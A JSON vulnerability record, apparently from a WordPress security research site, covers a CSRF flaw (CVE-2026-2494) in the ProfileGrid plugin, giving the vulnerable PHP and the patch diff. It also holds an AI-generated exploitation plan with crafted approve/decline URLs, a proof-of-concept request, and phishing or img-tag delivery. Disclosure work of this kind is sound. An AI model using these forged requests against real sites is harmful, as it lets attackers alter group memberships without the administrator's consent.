[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fq5dke24pydV7xxHKRDjoCt1w38l7gZtSmsP-hs703-o":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":33,"research_vulnerable_code":34,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":40},"CVE-2026-2494","profilegrid-cross-site-request-forgery-to-group-membership-request-approvaldenial","ProfileGrid \u003C= 5.9.8.2 - Cross-Site Request Forgery to Group Membership Request Approval\u002FDenial","The ProfileGrid – User Profiles, Groups and Communities plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 5.9.8.2. This is due to missing nonce validation on the membership request management page (approve and decline actions). This makes it possible for unauthenticated attackers to approve or deny group membership requests via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.","profilegrid-user-profiles-groups-and-communities",null,"\u003C=5.9.8.2","5.9.8.3","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Cross-Site Request Forgery (CSRF)","2026-03-06 11:37:07","2026-03-07 01:21:22",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F6b8ffdb9-b8c6-428c-a047-8e5286b2c2fb?source=api-prod",1,[22,23,24,25,26,27,28],"admin\u002Fclass-profile-magic-access-options.php","admin\u002Fclass-profile-magic-admin.php","admin\u002Fcss\u002Fprofile-magic-admin.css","admin\u002Fpartials\u002Fglobal-settings.php","admin\u002Fpartials\u002Fmanage-groups.php","admin\u002Fpartials\u002Fpayment-settings.php","admin\u002Fpartials\u002Fpm-membership-requests.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-2494 (ProfileGrid CSRF)\n\n## 1. Vulnerability Summary\nThe **ProfileGrid – User Profiles, Groups and Communities** plugin (up to 5.9.8.2) is vulnerable to **Cross-Site Request Forgery (CSRF)** in its group membership request management. The vulnerability exists in `admin\u002Fpartials\u002Fpm-membership-requests.php`, where the plugin processes `approve` and `decline` actions via the `bulk_action` parameter. \n\nThe code fails to perform any nonce validation or capability check specifically for these bulk actions within the file logic, allowing an unauthenticated attacker to trick a logged-in administrator into approving or denying group membership requests by simply visiting a crafted URL.\n\n## 2. Attack Vector Analysis\n- **Target Endpoint:** `wp-admin\u002Fadmin.php`\n- **Page Slug:** `page=pm_requests_manager`\n- **Vulnerable Parameters:** \n    - `bulk_action`: Set to `approve` or `decline`.\n    - `selected[]`: An array of membership request IDs to process.\n- **HTTP Method:** `GET` (as confirmed by the use of `filter_input(INPUT_GET, ...)` in the source code).\n- **Authentication Level:** Requires an active Administrator session (to access `admin.php` and the ProfileGrid request manager).\n- **Preconditions:** At least one pending group membership request must exist in the system.\n\n## 3. Code Flow\n1. The administrator visits `wp-admin\u002Fadmin.php?page=pm_requests_manager`.\n2. The plugin loads `admin\u002Fpartials\u002Fpm-membership-requests.php`.\n3. **Line 11:** The code checks if `bulk_action` is `approve`:\n   ```php\n   if ( !empty($bulk_action) && $bulk_action == 'approve') {\n   ```\n4. **Line 12:** It retrieves the `selected` request IDs:\n   ```php\n   $selected = filter_input( INPUT_GET, 'selected', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY );\n   ```\n5. **Lines 15-25:** If `selected` is present, it iterates through the IDs and performs the join operation via `$pmrequests->profile_magic_join_group_fun`. **Crucially, there is no `wp_verify_nonce` check before this loop.**\n6. Similar logic follows for the `decline` action at **Line 39**, which calls `$dbhandler->remove_row( 'REQUESTS', 'id', $id )` without nonce validation.\n\n## 4. Nonce Acquisition Strategy\n**No nonce is required for this exploit.**\nThe vulnerability resides in the fact that `wp_verify_nonce` is entirely missing from the `approve` and `decline` processing blocks in `admin\u002Fpartials\u002Fpm-membership-requests.php`. \n\nWhile there is a nonce check for the `reset` parameter (Line 63: `pg_request_manager`), it does not protect the membership state-change actions. An attacker can execute the exploit without any valid token.\n\n## 5. Exploitation Strategy\nThe exploit will be delivered via a `GET` request.\n\n### Step-by-Step Execution:\n1. **Identify Request ID:** The attacker needs the numeric ID of the membership request they wish to approve. This can be found in the `REQUESTS` table (usually `{prefix}pg_requests`).\n2. **Craft the URL:**\n   - **Approval:** `http:\u002F\u002F[target]\u002Fwp-admin\u002Fadmin.php?page=pm_requests_manager&bulk_action=approve&selected[]=[ID]`\n   - **Denial:** `http:\u002F\u002F[target]\u002Fwp-admin\u002Fadmin.php?page=pm_requests_manager&bulk_action=decline&selected[]=[ID]`\n3. **Delivery:** Trick the administrator into navigating to this URL while logged in. In a PoC environment, this is simulated by using the `http_request` tool with administrator cookies.\n\n### PoC HTTP Request:\n```http\nGET \u002Fwp-admin\u002Fadmin.php?page=pm_requests_manager&bulk_action=approve&selected[]=1 HTTP\u002F1.1\nHost: [target]\nCookie: [admin_cookies]\n```\n\n## 6. Test Data Setup\nTo verify the exploit, the following environment must be prepared:\n1. **Create a Group:** Use WP-CLI or the admin UI to create at least one ProfileGrid group.\n   - Note: Groups are stored in the `GROUPS` table identifier.\n2. **Configure Group for Approval:** Ensure the group is set to \"Private\" or \"Closed\" so that membership requires approval.\n3. **Create a User:** Create a standard subscriber user.\n4. **Generate a Request:** Log in as the subscriber and request to join the group.\n   - Locate the request ID by querying the database: `wp db query \"SELECT id FROM wp_pg_requests WHERE status='1'\"` (assuming default prefix).\n\n## 7. Expected Results\n- The HTTP request should return a `302 Redirect` to `admin.php?page=pm_requests_manager`.\n- The membership request with the specified ID should be moved from \"Pending\" to \"Approved\" (or deleted if `decline` was used).\n- If approved, the user should now have the group ID associated with their profile (usually in `wp_usermeta` under the `pm_group` key or the `wp_pg_group_members` table).\n\n## 8. Verification Steps\nAfter the HTTP request, verify the outcome using WP-CLI:\n1. **Check Request Table:**\n   ```bash\n   wp db query \"SELECT * FROM wp_pg_requests WHERE id=[ID]\"\n   ```\n   *Expected for Approval:* The request should no longer be in status '1' (pending) or should be removed.\n   *Expected for Denial:* The row should be deleted.\n\n2. **Check User Membership:**\n   ```bash\n   wp user meta get [USER_ID] pm_group\n   ```\n   *Expected for Approval:* The meta value should contain the serialized group ID.\n\n## 9. Alternative Approaches\nIf the `selected[]` array processing via `GET` fails due to URL length or WAF restrictions, the same parameters can be attempted via a `POST` request to the same URL, as some WordPress configurations process `$_REQUEST` which merges both. However, the source specifically uses `INPUT_GET`, so `GET` is the primary and most likely successful vector.\n\nIf the request ID is unknown, an attacker could attempt to \"blindly\" approve IDs 1 through 10 in a single request:\n`admin.php?page=pm_requests_manager&bulk_action=approve&selected[]=1&selected[]=2&selected[]=3...`","The ProfileGrid plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) due to a lack of nonce validation when processing group membership requests. This allows an attacker to trick a logged-in administrator into approving or declining user requests to join groups by having them visit a specifically crafted URL.","\u002F\u002F admin\u002Fpartials\u002Fpm-membership-requests.php line 11\n$bulk_action = filter_input(INPUT_GET, 'bulk_action', FILTER_SANITIZE_FULL_SPECIAL_CHARS);\n\nif ( !empty($bulk_action) && $bulk_action == 'approve') {\n\t$selected = filter_input( INPUT_GET, 'selected', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY );\n\tif ( isset( $selected ) ) :\n            $message = '';\n\t\tforeach ( $selected as $id ) \n                {\n                    $request = $dbhandler->get_row( 'REQUESTS', $id, 'id' );\n                    if($pmrequests->pg_check_group_limit_available($request->gid))\n                    {\n                        $update  = $pmrequests->profile_magic_join_group_fun( $request->uid, $request->gid, 'open' );\n                        do_action( 'pm_user_membership_request_approve', $request->gid, $request->uid );\n                    }\n                    else\n                    {\n                        $message  = $dbhandler->get_value('GROUPS','group_limit_message',$request->gid);\n                    }\n\t\t}\n\tendif;\n---\n\u002F\u002F admin\u002Fpartials\u002Fpm-membership-requests.php line 39\nif ( !empty($bulk_action) && $bulk_action == 'decline') { \n\t$selected = filter_input( INPUT_GET, 'selected', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY );\n\tif ( isset( $selected ) ) :\n\t\tforeach ( $selected as $id ) {\n                $request = $dbhandler->get_row( 'REQUESTS', $id, 'id' );\n\t\t\t$dbhandler->remove_row( 'REQUESTS', 'id', $id );\n                $pmemails->pm_send_group_based_notification( $request->gid, $request->uid, 'on_request_denied' );\n                do_action( 'pm_user_membership_request_denied', $request->gid, $request->uid );\n\t\t}\n\tendif;","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fprofilegrid-user-profiles-groups-and-communities\u002F5.9.8.2\u002Fadmin\u002Fpartials\u002Fpm-membership-requests.php\t2026-02-18 10:48:28.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fprofilegrid-user-profiles-groups-and-communities\u002F5.9.8.3\u002Fadmin\u002Fpartials\u002Fpm-membership-requests.php\t2026-03-02 10:36:12.000000000 +0000\n@@ -11,13 +11,30 @@\n $offset       = ( $pagenum - 1 ) * $limit;\n $bulk_action = filter_input(INPUT_GET, 'bulk_action', FILTER_SANITIZE_FULL_SPECIAL_CHARS);\n \n+if ( ! empty( $bulk_action ) && in_array( $bulk_action, array( 'approve', 'decline' ), true ) ) {\n+\t$retrieved_nonce = filter_input( INPUT_GET, '_wpnonce' );\n+\tif ( ! wp_verify_nonce( $retrieved_nonce, 'pg_request_manager' ) ) {\n+\t\tdie( esc_html__( 'Failed security check', 'profilegrid-user-profiles-groups-and-communities' ) );\n+\t}\n+\tif ( ! current_user_can( 'manage_options' ) && ! is_super_admin( $current_user->ID ) ) {\n+\t\twp_die( esc_html__( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );\n+\t}\n+}\n+\n if ( !empty($bulk_action) && $bulk_action == 'approve') {\n \t$selected = filter_input( INPUT_GET, 'selected', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY );\n \tif ( isset( $selected ) ) :\n             $message = '';\n \t\tforeach ( $selected as $id ) \n                 {\n+                    $id      = absint( $id );\n+                    if ( empty( $id ) ) {\n+                        continue;\n+                    }\n                     $request = $dbhandler->get_row( 'REQUESTS', $id, 'id' );\n+                    if ( empty( $request ) ) {\n+                        continue;\n+                    }\n                     if($pmrequests->pg_check_group_limit_available($request->gid))\n                     {\n                         $update  = $pmrequests->profile_magic_join_group_fun( $request->uid, $request->gid, 'open' );\n@@ -45,7 +62,14 @@\n \t$selected = filter_input( INPUT_GET, 'selected', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY );\n \tif ( isset( $selected ) ) :\n \t\tforeach ( $selected as $id ) {\n+                $id      = absint( $id );\n+                if ( empty( $id ) ) {\n+                    continue;\n+                }\n                 $request = $dbhandler->get_row( 'REQUESTS', $id, 'id' );\n+                if ( empty( $request ) ) {\n+                    continue;\n+                }\n \t\t\t$dbhandler->remove_row( 'REQUESTS', 'id', $id );\n                 $pmemails->pm_send_group_based_notification( $request->gid, $request->uid, 'on_request_denied' );\n                 do_action( 'pm_user_membership_request_denied', $request->gid, $request->uid );","The exploit targets the Membership Request management page in the WordPress admin dashboard. \n\n1. Identify the ID of a pending group membership request (found in the wp_pg_requests database table).\n2. Construct a malicious GET request to the administrative endpoint: `\u002Fwp-admin\u002Fadmin.php?page=pm_requests_manager&bulk_action=approve&selected[]=[REQUEST_ID]` (or `bulk_action=decline`).\n3. An attacker tricks an authenticated administrator into navigating to this URL (e.g., through a phishing link or an \u003Cimg> tag on a third-party site).\n4. Because the plugin processes the `bulk_action` and `selected[]` parameters without verifying a security nonce, the server executes the membership approval or denial on behalf of the administrator, granting the attacker access to restricted groups.","gemini-3-flash-preview","2026-04-18 05:40:16","2026-04-18 05:40:52",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","5.9.8.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fprofilegrid-user-profiles-groups-and-communities\u002Ftags\u002F5.9.8.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fprofilegrid-user-profiles-groups-and-communities.5.9.8.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fprofilegrid-user-profiles-groups-and-communities\u002Ftags\u002F5.9.8.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fprofilegrid-user-profiles-groups-and-communities.5.9.8.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fprofilegrid-user-profiles-groups-and-communities\u002Ftags"]